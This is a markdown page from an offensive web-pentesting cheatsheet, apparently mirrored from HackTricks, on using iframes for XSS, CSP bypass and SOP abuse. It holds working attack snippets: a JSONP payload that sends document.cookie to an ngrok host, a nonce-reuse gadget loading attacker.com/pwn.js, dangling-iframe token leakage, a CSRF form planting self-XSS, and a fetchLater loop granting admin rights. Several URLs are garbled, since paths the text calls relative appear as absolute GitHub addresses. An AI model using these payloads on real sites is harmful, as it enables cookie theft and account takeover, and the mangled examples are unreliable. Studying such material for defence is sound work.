daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

iframes-in-xss-and-csp.md (18564B)


      1 ---
      2 title: "Iframes in XSS, CSP and SOP"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Iframes in XSS, CSP and SOP
     14 
     15 ## Iframes in XSS
     16 
     17 There are 3 ways to indicate the content of an iframed page:
     18 
     19 - Via `src` indicating an URL (the URL may be cross origin or same origin)
     20 - Via `src` indicating the content using the `data:` protocol
     21 - Via `srcdoc` indicating the content
     22 
     23 **Accessing parent and child variables**
     24 
     25 ```html
     26 <html>
     27   <script>
     28     var secret = "31337s3cr37t"
     29   </script>
     30 
     31   <iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
     32   <iframe id="if2" src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/child.html"></iframe>
     33   <iframe
     34     id="if3"
     35     srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
     36   <iframe
     37     id="if4"
     38     src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
     39 
     40   <script>
     41     function access_children_vars() {
     42       alert(if1.secret)
     43       alert(if2.secret)
     44       alert(if3.secret)
     45       alert(if4.secret)
     46     }
     47     setTimeout(access_children_vars, 3000)
     48   </script>
     49 </html>
     50 ```
     51 
     52 ```html
     53 <!-- content of child.html -->
     54 <script>
     55   var secret = "child secret"
     56   alert(parent.secret)
     57 </script>
     58 ```
     59 
     60 If you access the previous html via a http server (like `python3 -m http.server`) you will notice that all the scripts will be executed (as there is no CSP preventing it)., **the parent won’t be able to access the `secret` var inside any iframe** and **only the iframes if2 & if3 (which are considered to be same-site) can access the secret** in the original window.\
     61 Note how if4 is considered to have `null` origin.
     62 
     63 ### `srcdoc` quirks that matter in real exploits
     64 
     65 Two details around `srcdoc` are easy to miss during exploitation:<sup>[[8]](#references)</sup>
     66 
     67 - Unless the frame is sandboxed without `allow-same-origin`, a `srcdoc` document is **same-origin with the parent**. Therefore, injecting attacker-controlled HTML into `srcdoc` is usually equivalent to giving it direct DOM access to the top document.
     68 - Even though the document URL is `about:srcdoc`, **relative URLs are resolved using the embedding page URL as the base URL**. This means payloads such as `<script src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//upload/payload.js"></script>` or `<img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//internal/debug">` will target the parent origin, not `about:srcdoc`.
     69 
     70 Practical payload:
     71 
     72 ```html
     73 <iframe
     74   srcdoc='<script src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//uploads/payload.js"></script><a href="#test">anchor</a>'></iframe>
     75 ```
     76 
     77 This is specially useful when you only control markup but know a same-origin path that returns attacker-controlled JavaScript, JSONP, or HTML without a restrictive CSP.
     78 
     79 ### Iframes with CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
     80 
     81 > [!TIP]
     82 > Please, note how in the following bypasses the response to the iframed page doesn't contain any CSP header that prevents JS execution.
     83 
     84 The `self` value of `script-src` won’t allow the execution of the JS code using the `data:` protocol or the `srcdoc` attribute.\
     85 However, even the `none` value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the `src` attribute.\
     86 Therefore it’s possible to bypass the CSP of a page with:
     87 
     88 ```html
     89 <html>
     90   <head>
     91     <meta
     92       http-equiv="Content-Security-Policy"
     93       content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
     94   </head>
     95   <script>
     96     var secret = "31337s3cr37t"
     97   </script>
     98   <iframe id="if1" src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/child.html"></iframe>
     99   <iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
    100   <iframe
    101     id="if3"
    102     srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
    103   <iframe
    104     id="if4"
    105     src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
    106 </html>
    107 ```
    108 
    109 Note how the **previous CSP only permits the execution of the inline script**.\
    110 However, **only `if1` and `if2` scripts are going to be executed but only `if1` will be able to access the parent secret**.
    111 
    112 ![srcdoc quirks that matter in real exploits - Iframes with CSP: However, only if1 and if2 scripts are going to be executed but only if1 will be able to access the parent secret](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28372%29.png)
    113 
    114 Therefore, it’s possible to **bypass a CSP if you can upload a JS file to the server and load it via iframe even with `script-src 'none'`**. This can **potentially be also done abusing a same-site JSONP endpoint**.
    115 
    116 You can test this with the following scenario were a cookie is stolen even with `script-src 'none'`. Just run the application and access it with your browser:
    117 
    118 ```python
    119 import flask
    120 from flask import Flask
    121 app = Flask(__name__)
    122 
    123 @app.route("/")
    124 def index():
    125     resp = flask.Response('<html><iframe id="if1" src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/cookie_s.html"></iframe></html>')
    126     resp.headers['Content-Security-Policy'] = "script-src 'self'"
    127     resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
    128     return resp
    129 
    130 @app.route("/cookie_s.html")
    131 def cookie_s():
    132     return "<script>alert(document.cookie)</script>"
    133 
    134 if __name__ == "__main__":
    135     app.run()
    136 ```
    137 
    138 #### New (2023-2025) CSP bypass techniques with iframes
    139 
    140 The research community continues to discover creative ways of abusing iframes to defeat restrictive policies. Below you can find the most notable techniques published during the last few years:
    141 
    142 * **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** – When an application reflects HTML but a strong CSP blocks script execution, you can still leak sensitive tokens by injecting a *dangling* `<iframe name>` attribute. Once the partial markup is parsed, the attacker script running in a separate origin navigates the frame to `about:blank` and reads `window.name`, which now contains everything up to the next quote character (for example a CSRF token). Because no JavaScript runs in the victim context, the attack usually evades `script-src 'none'`.<sup>[[2]](#references)</sup> A minimal PoC is:
    143 
    144   ```html
    145   <!-- Injection point just before a sensitive <script> -->
    146   <iframe name="//attacker.com/?">  <!-- attribute intentionally left open -->
    147   ```
    148   ```javascript
    149   // attacker.com frame
    150   const victim = window.frames[0];
    151   victim.location = 'about:blank';
    152   console.log(victim.name); // → leaked value
    153   ```
    154 
    155 * **Nonce reuse via same-origin iframe** – CSP nonces are readable from the DOM by same-origin documents. If an attacker can inject or upload a *same-origin* HTML page and load it in an iframe, the child frame can read `top.document.querySelector('[nonce]').nonce` and mint new `<script nonce>` elements. This turns a same-origin HTML injection into full script execution even under `strict-dynamic` (because the nonce is already trusted). The following gadget escalates a markup injection into XSS:
    156 
    157   ```javascript
    158   const n = top.document.querySelector('[nonce]').nonce;
    159   const s = top.document.createElement('script');
    160   s.src = '//attacker.com/pwn.js';
    161   s.nonce = n;
    162   top.document.body.appendChild(s);
    163   ```
    164 
    165 * **Form-action hijacking (PortSwigger 2024)** – A page that omits the `form-action` directive can have its login form *re-targeted* from an injected iframe or inline HTML so that password managers auto-fill and submit credentials to an external domain, even when `script-src 'none'` is present. Always complement `default-src` with `form-action`!<sup>[[1]](#references)</sup>
    166 
    167 **Defensive notes (quick checklist)**
    168 
    169 1. Always send *all* CSP directives that control secondary contexts (`form-action`, `frame-src`, `child-src`, `object-src`, etc.).
    170 2. Do not rely on nonces being secret—use `strict-dynamic` **and** eliminate injection points.
    171 3. When you must embed untrusted documents use `sandbox="allow-scripts allow-same-origin"` **very carefully** (or without `allow-same-origin` if you only need script execution isolation).
    172 4. Consider a defense-in-depth COOP+COEP deployment; the new `<iframe credentialless>` attribute (§ below) lets you do so without breaking third-party embeds.
    173 
    174 ### Other Payloads found on the wild <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
    175 
    176 ```html
    177 <!-- This one requires the data: scheme to be allowed -->
    178 <iframe
    179   srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
    180 <!-- This one injects JS in a jsonp endppoint -->
    181 <iframe srcdoc='
    182 <script src="https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src//jsonp%3Fcallback%3D%28function%28%29%7Bwindow.top.location.href%3D%60http%3A/f6a81b32f7f7.ngrok.io/cooookie%60%2Bdocument.cookie%3B%7D%29%28%29%3B/README.md"></script>
    183 <!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
    184 <iframe
    185   src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
    186 ```
    187 
    188 ### Iframe sandbox
    189 
    190 The content within an iframe can be subjected to additional restrictions through the use of the `sandbox` attribute. By default, this attribute is not applied, meaning no restrictions are in place.
    191 
    192 When utilized, the `sandbox` attribute imposes several limitations:<sup>[[7]](#references)</sup>
    193 
    194 - The content is treated as if it originates from a unique source.
    195 - Any attempt to submit forms is blocked.
    196 - Execution of scripts is prohibited.
    197 - Access to certain APIs is disabled.
    198 - It prevents links from interacting with other browsing contexts.
    199 - Use of plugins via `<embed>`, `<object>`, `<applet>`, or similar tags is disallowed.
    200 - Navigation of the content's top-level browsing context by the content itself is prevented.
    201 - Features that are triggered automatically, like video playback or auto-focusing of form controls, are blocked.
    202 
    203 Tip: Modern browsers support granular flags such as `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation`, etc. Combine them to grant only the minimum capabilities required by the embedded application.
    204 
    205 The attribute's value can be left empty (`sandbox=""`) to apply all the aforementioned restrictions. Alternatively, it can be set to a space-separated list of specific values that exempt the iframe from certain restrictions.
    206 
    207 ```html
    208 <!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
    209 <iframe sandbox="allow-scripts" src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/demo_iframe_sandbox.htm"></iframe>
    210 ```
    211 
    212 If the embedded page is **same-origin** and you grant both `allow-scripts` and `allow-same-origin`, the sandbox becomes a very weak boundary. The child can execute JavaScript, access `top.document`, and even remove the `sandbox` attribute from its own `<iframe>` element:
    213 
    214 ```javascript
    215 const me = top.document.querySelector("iframe")
    216 me.removeAttribute("sandbox")
    217 top.location = "/admin"
    218 ```
    219 
    220 In practice, `sandbox="allow-scripts allow-same-origin"` should be treated as **unsafe for attacker-influenced same-origin content**. It is still useful for some third-party embeds, but it is not an isolation boundary against hostile same-origin HTML.
    221 
    222 ### Credentialless iframes
    223 
    224 As explained in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), the `credentialless` flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.<sup>[[4]](#references)</sup>
    225 
    226 Since **Chrome 110 (February 2023) the feature is enabled by default** and the spec is being standardized across browsers under the name *anonymous iframe*. MDN describes it as: “a mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real origin”.<sup>[[3]](#references)[[5]](#references)</sup> Consequences for attackers and defenders:
    227 
    228 * Scripts in different credentialless iframes **still share the same top-level origin** and can freely interact via the DOM, making multi-iframe self-XSS attacks feasible (see PoC below).
    229 * Because the network is **credential-stripped**, any request inside the iframe effectively behaves as an unauthenticated session – CSRF protected endpoints usually fail, but public pages leakable via DOM are still in scope.
    230 * Storage is **partitioned by a top-level document nonce**: credentialless frames on the same page can share storage with each other, but it is cleared when the top-level document is discarded.
    231 * Pop-ups spawned from a credentialless iframe get an implicit `rel="noopener"`, breaking some OAuth flows.
    232 * Browsers are expected to **disable autofill/password managers** inside credentialless iframes, limiting credential theft via autofill in these contexts.
    233 
    234 ```javascript
    235 // PoC: two same-origin credentialless iframes stealing cookies set by a third
    236 window.top[1].document.cookie = 'foo=bar';            // write
    237 alert(window.top[2].document.cookie);                 // read -> foo=bar
    238 ```
    239 
    240 - Exploit example: Self-XSS + CSRF
    241 
    242 In this attack, the attacker prepares a malicious webpage with 2 iframes:
    243 
    244 - An iframe loads the victim's page with the `credentialless` flag and a CSRF that triggers XSS (for example, self-XSS in the user's username):
    245   ```html
    246   <html>
    247   <body>
    248     <form action="http://victim.domain/login" method="POST">
    249       <input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
    250       <input type="hidden" name="password" value="Super_s@fe_password" />
    251       <input type="submit" value="Submit request" />
    252     </form>
    253     <script>
    254       document.forms[0].submit();
    255     </script>
    256   </body>
    257   </html>
    258   ```
    259 
    260 - Another iframe that actually has the user logged in (without the `credentialless` flag).
    261 
    262 Then, from the XSS it's possible to access the other iframe as they have the same SOP and steal the cookie for example executing:
    263 
    264 ```javascript
    265 alert(window.top[1].document.cookie);
    266 ```
    267 
    268 ### fetchLater Attack
    269 
    270 As indicated in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/) the API `fetchLater` allows configuring a request to be executed later. This can be abused to, for example, login a victim inside an attacker's session (with Self-XSS), schedule a `fetchLater` request (to change the password of the current user for example), and logout from the attacker's session. Then, when the victim logs into their own session, the deferred request can execute using the cookies available at dispatch time, changing the password of the victim to the one set by the attacker.<sup>[[4]](#references)</sup>
    271 
    272 Operational notes:<sup>[[6]](#references)</sup>
    273 
    274 - `fetchLater` entered Chrome origin trial in 2024 and shipped in Chrome 135 (April 2025), so feature-detect before relying on it.
    275 - The response is **not** available to JavaScript; body/headers are ignored once the deferred request is sent.
    276 - CSP enforcement uses `connect-src` (not `script-src`) for deferred requests.
    277 - Requests fire on page unload or when `activateAfter` expires (whichever happens first).
    278 - The maximum single delay is currently `299000` ms, so long waits require re-scheduling several deferred requests.
    279 
    280 This way even if the victim URL cannot be loaded in an iframe (due to CSP or other restrictions), the attacker can still execute a request in the victim's session.
    281 
    282 
    283 ```javascript
    284 var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
    285 for (let i = 1; i <= 20; i++)
    286   fetchLater(req,{activateAfter: i * 299000})
    287 ```
    288 
    289 
    290 ## Iframes in SOP
    291 
    292 Check the following pages:
    293 
    294 
    295 [Bypassing Sop With Iframes 1](/hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1)
    296 
    297 
    298 [Bypassing Sop With Iframes 2](/hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2)
    299 
    300 
    301 [Blocking Main Page To Steal Postmessage](/hacktricks/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage)
    302 
    303 
    304 [Steal Postmessage Modifying Iframe Location](/hacktricks/pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location)
    305 
    306 
    307 ## References
    308 
    309 - [1] [PortSwigger Research – Using form hijacking to bypass CSP (March 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
    310 - [2] [PortSwigger Research – Bypassing CSP with dangling iframes (Jun 2022)](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
    311 - [3] [Chrome Developers – Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)](https://developer.chrome.com/blog/iframe-credentialless)
    312 - [4] [Slonser – Make Self-XSS Great Again](https://blog.slonser.info/posts/make-self-xss-great-again/)
    313 - [5] [MDN – IFrame credentialless](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/IFrame_credentialless)
    314 - [6] [MDN – Window.fetchLater()](https://developer.mozilla.org/en-US/docs/Web/API/Window/fetchLater)
    315 - [7] [MDN – `<iframe>` element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/iframe)
    316 - [8] [MDN – `HTMLIFrameElement.srcdoc`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLIFrameElement/srcdoc)